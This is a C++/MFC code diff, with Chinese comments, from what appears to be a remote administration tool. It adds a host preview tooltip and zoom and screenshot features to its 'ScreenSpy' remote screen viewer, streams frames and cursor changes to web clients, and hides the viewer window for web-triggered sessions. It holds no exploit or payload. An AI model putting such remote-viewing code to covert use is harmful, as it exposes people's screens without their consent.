ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
iw = MAX_IMAGE_W;
}
m_imageDrawW = iw;
m_imageDrawH = ih;
} else {
m_imageDrawW = m_imageReserveW;
m_imageDrawH = m_imageReserveH;
}
// 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W
// 没有图像时退化到 MAX_TEXT_W
int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
// 估算文本尺寸(项目是 MBCS但浮窗文本是宽字符必须显式调用 W 版本)
CClientDC dc(this);
CFont* old = dc.SelectObject(&m_font);
CRect rcText(0, 0, textWrapW, 32767);
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
m_textW = max((int)MIN_TEXT_W, rcText.Width());
if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽
m_textH = rcText.Height();
dc.SelectObject(old);
int contentW = max(m_imageDrawW, m_textW);
int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
int totalW = PADDING + contentW + PADDING;
int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
// 当前左上角
CRect rc;
GetWindowRect(&rc);
int newX = rc.left;
int newY = rc.top;
// 防止越出屏幕:右下夹紧到工作区
HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
MONITORINFO mi = { sizeof(mi) };
if (hMon && GetMonitorInfo(hMon, &mi)) {
if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW);
if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH);
}
SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
}
BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
{
return TRUE; // 在 OnPaint 里整体填充
}
void CPreviewTipWnd::OnPaint()
{
CPaintDC pdc(this);
CRect rcClient;
GetClientRect(&rcClient);
// 双缓冲
CDC memDC;
memDC.CreateCompatibleDC(&pdc);
CBitmap memBmp;
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
CFont* oldFont = memDC.SelectObject(&m_font);
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
memDC.SetBkMode(TRANSPARENT);
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
memDC.SelectObject(oldFont);
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(oldBmp);
}
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
{
// 边框
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
if (m_hasImage && m_image) {
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
} else {
// 占位灰色背景
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
RECT rcInnerRaw = rcInner;
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
}
}
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
{
RECT r = rc;
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
}

View File

@@ -0,0 +1,57 @@
// PreviewTipWnd.h
// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。
// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
#pragma once
#include <afxwin.h>
#include <memory>
#include <vector>
namespace Gdiplus { class Bitmap; }
class CPreviewTipWnd : public CWnd
{
public:
CPreviewTipWnd();
virtual ~CPreviewTipWnd();
// 创建浮窗。
// anchor 屏幕坐标,浮窗左上角
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
void SetImageFromJpeg(const BYTE* data, size_t bytes);
// 标记预览不可用(请求超时 / 客户端报错)。
void MarkPreviewUnavailable();
WORD GetReqId() const { return m_reqId; }
void SetReqId(WORD id) { m_reqId = id; }
protected:
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
DECLARE_MESSAGE_MAP()
private:
void RecalcLayoutAndResize();
void DrawImageArea(CDC& dc, const CRect& rc);
void DrawTextArea(CDC& dc, const CRect& rc);
CStringW m_text;
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
int m_imageReserveH = 0; // 预留图像高度(按 16:9
int m_imageDrawW = 0; // 实际图像绘制宽度
int m_imageDrawH = 0; // 实际图像绘制高度
int m_textW = 0;
int m_textH = 0;
bool m_hasImage = false;
bool m_unavailable = false;
std::unique_ptr<Gdiplus::Bitmap> m_image;
CFont m_font;
WORD m_reqId = 0;
};

View File

@@ -156,7 +156,14 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
if (pClientID) {
m_ClientID = *((uint64_t*)pClientID);
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
// Notify web clients of resolution (only for Web sessions, not MFC sessions)
// At this point, IsMfcTriggered is still set if MFC triggered this dialog
if (WebService().IsRunning() && !WebService().IsMfcTriggered(m_ClientID)) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
}
}
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
@@ -231,10 +238,14 @@ CScreenSpyDlg::~CScreenSpyDlg()
StopAudioPlayback();
// 清理所有文件接收对话框
for (auto& pair : m_FileRecvDlgs) {
if (pair.second) {
pair.second->DestroyWindow();
delete pair.second;
// 注意对话框可能已经被用户关闭并自我销毁PostNcDestroy 中 delete this
// 存储了 HWND 用于安全检查,避免访问野指针
for (auto& entry : m_FileRecvDlgs) {
HWND hWnd = entry.second.first;
if (hWnd && ::IsWindow(hWnd)) {
// 通过 HWND 同步发送关闭消息,确保对话框在析构前完全关闭
// 使用 SendMessage 而非 PostMessage避免异步问题
::SendMessage(hWnd, WM_CLOSE, 0, 0);
}
}
m_FileRecvDlgs.clear();
@@ -478,6 +489,8 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_VSCROLL()
ON_WM_LBUTTONDOWN()
ON_WM_LBUTTONUP()
ON_WM_RBUTTONDOWN()
ON_WM_RBUTTONUP()
ON_WM_MOUSEWHEEL()
ON_WM_MOUSEMOVE()
ON_WM_MOUSELEAVE()
@@ -486,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_LBUTTONDBLCLK()
ON_WM_ACTIVATE()
ON_WM_TIMER()
ON_WM_ERASEBKGND()
ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
@@ -494,6 +508,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
ON_WM_DROPFILES()
ON_WM_CAPTURECHANGED()
END_MESSAGE_MAP()
@@ -677,7 +692,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (m_bIsCtrl) {
ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME
}
m_bIsTraceCursor = FALSE; //不是跟踪
m_bIsTraceCursor = !m_bIsCtrl; // 非控制状态,则跟踪鼠标
m_ClientCursorPos.x = 0;
m_ClientCursorPos.y = 0;
m_bCursorIndex = 0;
@@ -687,6 +702,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
@@ -755,8 +771,32 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (pMain)
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制)
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
// Determine session type: MFC or Web
// Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
// even if WebTriggered is also true (happens when Web is already open for same device)
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
bool isWebSession = false;
if (isMfcSession) {
// MFC session: clear the flag, don't register with WebService
WebService().ClearMfcTriggered(m_ClientID);
// m_bIsWebSession remains false (default)
} else {
// Check if this is a Web session
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
// Only register screen context for Web sessions
// MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
// This prevents MFC close from deleting Web's context (they share same device_id key)
if (isWebSession) {
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
m_bHide = true;
m_bIsWebSession = true;
ShowWindow(SW_HIDE);
}
}
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
return TRUE;
}
@@ -764,8 +804,10 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose()
{
// 注销屏幕上下文Web 端控制)
WebService().UnregisterScreenContext(m_ClientID);
// Only unregister if this is a Web session (we only registered for Web sessions)
if (m_bIsWebSession) {
WebService().UnregisterScreenContext(m_ClientID);
}
m_bIsClosed = true;
m_bIsCtrl = FALSE;
@@ -828,13 +870,15 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam)
uint64_t transferID = msgData->transferID;
// 创建或获取进度对话框(按 transferID 管理)
CDlgFileSend*& dlg = m_FileRecvDlgs[transferID];
if (dlg == nullptr) {
auto& entry = m_FileRecvDlgs[transferID];
CDlgFileSend* dlg = entry.second;
if (dlg == nullptr || !::IsWindow(entry.first)) {
dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->SetWindowTextA(_TR("接收文件"));
dlg->ShowWindow(SW_SHOW);
dlg->m_bKeepConnection = TRUE; // 不断开连接
entry = { dlg->GetSafeHwnd(), dlg };
}
// 接收文件
@@ -877,7 +921,11 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam)
// 关闭进度对话框
auto it = m_FileRecvDlgs.find(transferID);
if (it != m_FileRecvDlgs.end()) {
it->second->FinishFileSend(verifyOk);
// 只有窗口有效时才调用 FinishFileSend
if (::IsWindow(it->second.first)) {
it->second.second->FinishFileSend(verifyOk);
}
// 无论窗口是否有效,都要移除条目(避免累积无效条目)
m_FileRecvDlgs.erase(it);
}
@@ -952,18 +1000,11 @@ VOID CScreenSpyDlg::OnReceiveComplete()
PrepareDrawing(m_BitmapInfor_Full);
// 分辨率切换完成,允许解码
m_bResolutionChanging = false;
// Notify web clients of resolution change
if (WebService().IsRunning()) {
// Notify web clients of resolution change (only for Web session dialogs)
if (m_bIsWebSession && WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
// Hide window if this session was triggered by web client (and hiding is enabled)
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
Mprintf("[ScreenSpyDlg] Web-triggered session, hiding window for device %llu\n", m_ClientID);
}
}
break;
}
@@ -1254,6 +1295,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE;
// 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
HCURSOR cursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
@@ -1295,6 +1340,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
break;
}
case ALGORITHM_H264: {
// Decode locally if dialog is visible
if (!m_bHide && NextScreenLength > 0) {
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
bChange = TRUE;
}
}
// Broadcast H264 keyframe to web clients (only for Web session dialogs)
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe
uint32_t dataLen = (uint32_t)NextScreenLength;
memcpy(packet.data(), &deviceIdLow, 4);
packet[4] = frameType;
memcpy(packet.data() + 5, &dataLen, 4);
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
}
break;
}
default:
@@ -1342,9 +1405,9 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE;
}
}
// Broadcast H264 frame to web clients
// Broadcast H264 frame to web clients (only for Web session dialogs)
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
if (NextScreenLength > 0 && WebService().IsRunning()) {
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
// Detect H264 keyframe by checking NAL unit type
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
bool isKeyFrame = false;
@@ -1429,6 +1492,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE;
// 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
}
// 读取滚动参数
@@ -1543,6 +1610,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
return false;
}
// 跳过默认背景擦除:随帧重绘时若先 FillRect 灰色再 BitBlt 帧,会在两步之间
// 出现"瞬时灰背景",启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘,
// 灰一闪 → 帧覆盖 → 重画光标,循环看上去就是光标频繁闪烁。
// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区,本就不需要先擦;
// m_bIsFirst首帧未到达仍走默认擦除以避免显示残留内容。
BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
{
if (m_bIsFirst) {
return __super::OnEraseBkgnd(pDC);
}
return TRUE;
}
void CScreenSpyDlg::OnPaint()
{
if (m_bIsClosed) return;
@@ -1556,9 +1636,18 @@ void CScreenSpyDlg::OnPaint()
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
if (m_bAdaptiveSize) {
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
// 放大模式渲染
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 使用放大区域作为源进行StretchBlt
StretchBlt(m_hFullDC, 0, 0, dstW, dstH,
m_hFullMemDC,
m_rcZoomSrc.left, m_rcZoomSrc.top,
m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
SRCCOPY);
} else if (m_bAdaptiveSize) {
// 尺寸相同时用 BitBlt更快否则用 StretchBlt
if (srcW == dstW && srcH == dstH) {
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
@@ -1569,6 +1658,27 @@ void CScreenSpyDlg::OnPaint()
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
}
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
if (m_bSelectingZoom || m_bSelectingShot) {
CPoint ptStart = m_bSelectingZoom ? m_ptZoomStart : m_ptShotStart;
CPoint ptCur = m_bSelectingZoom ? m_ptZoomCurrent : m_ptShotCurrent;
COLORREF clr = m_bSelectingZoom ? RGB(255, 0, 0) : RGB(0, 180, 0);
CRect rcSelect;
rcSelect.left = min(ptStart.x, ptCur.x);
rcSelect.top = min(ptStart.y, ptCur.y);
rcSelect.right = max(ptStart.x, ptCur.x);
rcSelect.bottom = max(ptStart.y, ptCur.y);
HPEN hPen = CreatePen(PS_DASH, 1, clr);
HPEN hOldPen = (HPEN)SelectObject(m_hFullDC, hPen);
HBRUSH hOldBrush = (HBRUSH)SelectObject(m_hFullDC, GetStockObject(NULL_BRUSH));
Rectangle(m_hFullDC, rcSelect.left, rcSelect.top, rcSelect.right, rcSelect.bottom);
SelectObject(m_hFullDC, hOldBrush);
SelectObject(m_hFullDC, hOldPen);
DeleteObject(hPen);
}
if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) {
CPoint ptLocal;
GetCursorPos(&ptLocal);
@@ -1751,6 +1861,10 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
switch (nID) {
case IDM_CONTROL: {
m_bIsCtrl = !m_bIsCtrl;
// 进入控制模式时重置放大状态
if (m_bIsCtrl && m_bZoomedIn) {
ResetZoom();
}
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME
@@ -2267,8 +2381,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
MSG wheelMsg = *pMsg;
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
SendScaledMouseMessage(&wheelMsg, true);
return TRUE; // 已处理,阻止继续分发到 OnMouseWheel
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
@@ -2503,6 +2617,11 @@ void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
void CScreenSpyDlg::EnterFullScreen()
{
// 进入全屏时重置放大状态
if (m_bZoomedIn) {
ResetZoom();
}
if (1) {
// 1. 获取对话框当前所在的显示器
HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST);
@@ -2590,6 +2709,11 @@ void CScreenSpyDlg::EnterFullScreen()
// 全屏退出成功则返回true
bool CScreenSpyDlg::LeaveFullScreen()
{
// 退出全屏时重置放大状态
if (m_bZoomedIn) {
ResetZoom();
}
if (1) {
KillTimer(1);
if (m_pToolbar) {
@@ -2630,26 +2754,375 @@ bool CScreenSpyDlg::LeaveFullScreen()
return false;
}
// ========== 局部放大功能辅助函数 ==========
// 重置放大状态
void CScreenSpyDlg::ResetZoom()
{
m_bZoomedIn = false;
m_bSelectingZoom = false;
m_bZoomDragging = false;
m_rcZoomSrc.SetRectEmpty();
Invalidate();
}
// 屏幕坐标转原图坐标(考虑放大状态)
CPoint CScreenSpyDlg::ScreenToImage(CPoint pt)
{
if (!m_BitmapInfor_Full) return pt;
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
if (dstW <= 0 || dstH <= 0) return pt; // 防止除零
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 放大状态:从显示区域映射到放大区域
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
return CPoint(
(int)(m_rcZoomSrc.left + pt.x * scaleX),
(int)(m_rcZoomSrc.top + pt.y * scaleY)
);
} else if (m_bAdaptiveSize) {
// 自适应模式:按比例缩放
return CPoint((int)(pt.x * m_wZoom), (int)(pt.y * m_hZoom));
} else {
// 滚动模式:加上滚动偏移
return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
}
}
// 原图坐标转屏幕坐标(考虑放大状态)
CPoint CScreenSpyDlg::ImageToScreen(CPoint pt)
{
if (!m_BitmapInfor_Full) return pt;
int zoomW = m_rcZoomSrc.Width();
int zoomH = m_rcZoomSrc.Height();
if (m_bZoomedIn && zoomW > 0 && zoomH > 0) {
// 放大状态:从放大区域映射到显示区域
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
double scaleX = (double)dstW / zoomW;
double scaleY = (double)dstH / zoomH;
return CPoint(
(int)((pt.x - m_rcZoomSrc.left) * scaleX),
(int)((pt.y - m_rcZoomSrc.top) * scaleY)
);
} else if (m_bAdaptiveSize) {
if (m_wZoom > 0 && m_hZoom > 0) {
return CPoint((int)(pt.x / m_wZoom), (int)(pt.y / m_hZoom));
}
return pt;
} else {
return CPoint(pt.x - m_ulHScrollPos, pt.y - m_ulVScrollPos);
}
}
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// 非控制模式下的放大功能
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bZoomedIn) {
// 放大状态:开始拖拽平移
m_bZoomDragging = true;
m_ptZoomDragStart = point; // 保存起点用于点击检测
m_ptZoomDragLast = point; // 用于增量拖拽计算
SetCapture();
return;
} else {
// 正常状态:开始框选放大区域
m_bSelectingZoom = true;
m_ptZoomStart = point;
m_ptZoomCurrent = point;
SetCapture();
return;
}
}
__super::OnLButtonDown(nFlags, point);
}
void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
// 处理放大功能的鼠标释放
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bSelectingZoom) {
// 完成框选
ReleaseCapture();
m_bSelectingZoom = false;
// 计算选择区域确保left<right, top<bottom
CRect rcSelect;
rcSelect.left = min(m_ptZoomStart.x, point.x);
rcSelect.top = min(m_ptZoomStart.y, point.y);
rcSelect.right = max(m_ptZoomStart.x, point.x);
rcSelect.bottom = max(m_ptZoomStart.y, point.y);
// 框选区域太小时视为点击,如果已放大则还原
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
if (m_bZoomedIn) {
ResetZoom();
}
return;
}
// 将屏幕坐标转换为原图坐标
if (!ScreenRectToImageRect(rcSelect, m_rcZoomSrc)) {
return;
}
// 进入放大状态
m_bZoomedIn = true;
Invalidate();
return;
}
if (m_bZoomDragging) {
// 完成拖拽
ReleaseCapture();
m_bZoomDragging = false;
// 检查是否为点击(几乎没有移动)
int dx = abs(point.x - m_ptZoomDragStart.x);
int dy = abs(point.y - m_ptZoomDragStart.y);
if (dx < 5 && dy < 5) {
// 点击还原
ResetZoom();
}
return;
}
}
__super::OnLButtonUp(nFlags, point);
}
void CScreenSpyDlg::OnRButtonDown(UINT nFlags, CPoint point)
{
// 非控制模式下:右键框选 → 截图保存。控制模式下右键由 PreTranslateMessage 转发给客户端。
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
// 与左键互斥:左键正在框选/拖拽时不接管右键,避免冲突
if (m_bSelectingZoom || m_bZoomDragging) {
return;
}
m_bSelectingShot = true;
m_ptShotStart = point;
m_ptShotCurrent = point;
SetCapture();
return;
}
__super::OnRButtonDown(nFlags, point);
}
void CScreenSpyDlg::OnRButtonUp(UINT nFlags, CPoint point)
{
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full && m_bSelectingShot) {
ReleaseCapture();
m_bSelectingShot = false;
CRect rcSelect;
rcSelect.left = min(m_ptShotStart.x, point.x);
rcSelect.top = min(m_ptShotStart.y, point.y);
rcSelect.right = max(m_ptShotStart.x, point.x);
rcSelect.bottom = max(m_ptShotStart.y, point.y);
// 太小视为误触(与左键放大同阈值)
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
Invalidate(FALSE);
return;
}
CRect rcImage;
if (ScreenRectToImageRect(rcSelect, rcImage) &&
rcImage.Width() > 0 && rcImage.Height() > 0)
{
SaveRegionScreenshot(rcImage);
}
Invalidate(FALSE); // 清掉绿色选框
return;
}
__super::OnRButtonUp(nFlags, point);
}
// 屏幕(窗口)选框 → 原图坐标,考虑放大状态、自适应、滚动
bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
{
if (!m_BitmapInfor_Full) return false;
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
if (srcW <= 0 || srcH <= 0) return false;
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 放大状态:屏幕坐标 → 当前可视的子区域内的原图坐标
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
if (dstW <= 0 || dstH <= 0) return false;
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
rcImage.left = (int)(m_rcZoomSrc.left + rcScreen.left * scaleX);
rcImage.top = (int)(m_rcZoomSrc.top + rcScreen.top * scaleY);
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
} else if (m_bAdaptiveSize) {
rcImage.left = (int)(rcScreen.left * m_wZoom);
rcImage.top = (int)(rcScreen.top * m_hZoom);
rcImage.right = (int)(rcScreen.right * m_wZoom);
rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
} else {
rcImage.left = rcScreen.left + m_ulHScrollPos;
rcImage.top = rcScreen.top + m_ulVScrollPos;
rcImage.right = rcScreen.right + m_ulHScrollPos;
rcImage.bottom = rcScreen.bottom + m_ulVScrollPos;
}
// 限制在原图范围内
rcImage.left = max(0L, min(rcImage.left, (LONG)srcW));
rcImage.top = max(0L, min(rcImage.top, (LONG)srcH));
rcImage.right = max(0L, min(rcImage.right, (LONG)srcW));
rcImage.bottom = max(0L, min(rcImage.bottom, (LONG)srcH));
return true;
}
// 把原图中 [rcImage] 区域裁出来,写成独立 BMP24bpp 或 32bpp 由源图决定)
void CScreenSpyDlg::SaveRegionScreenshot(const CRect& rcImage)
{
if (!m_BitmapInfor_Full || !m_BitmapData_Full) return;
if (rcImage.Width() <= 0 || rcImage.Height() <= 0) return;
auto path = GetScreenShotPath(this, m_IPAddress, _TR("位图文件(*.bmp)|*.bmp|"), "bmp");
if (path.empty()) return;
// 源 DIB 是 BGR 24bpp 或 BGRA 32bppbottom-upbiHeight > 0
const BITMAPINFOHEADER& srcHdr = m_BitmapInfor_Full->bmiHeader;
int bpp = srcHdr.biBitCount;
if (bpp != 24 && bpp != 32) return; // 仅支持当前实际使用的两种位深
int srcW = srcHdr.biWidth;
int srcH = srcHdr.biHeight;
int srcStride = ((srcW * bpp + 31) / 32) * 4;
int dstW = rcImage.Width();
int dstH = rcImage.Height();
int dstStride = ((dstW * bpp + 31) / 32) * 4;
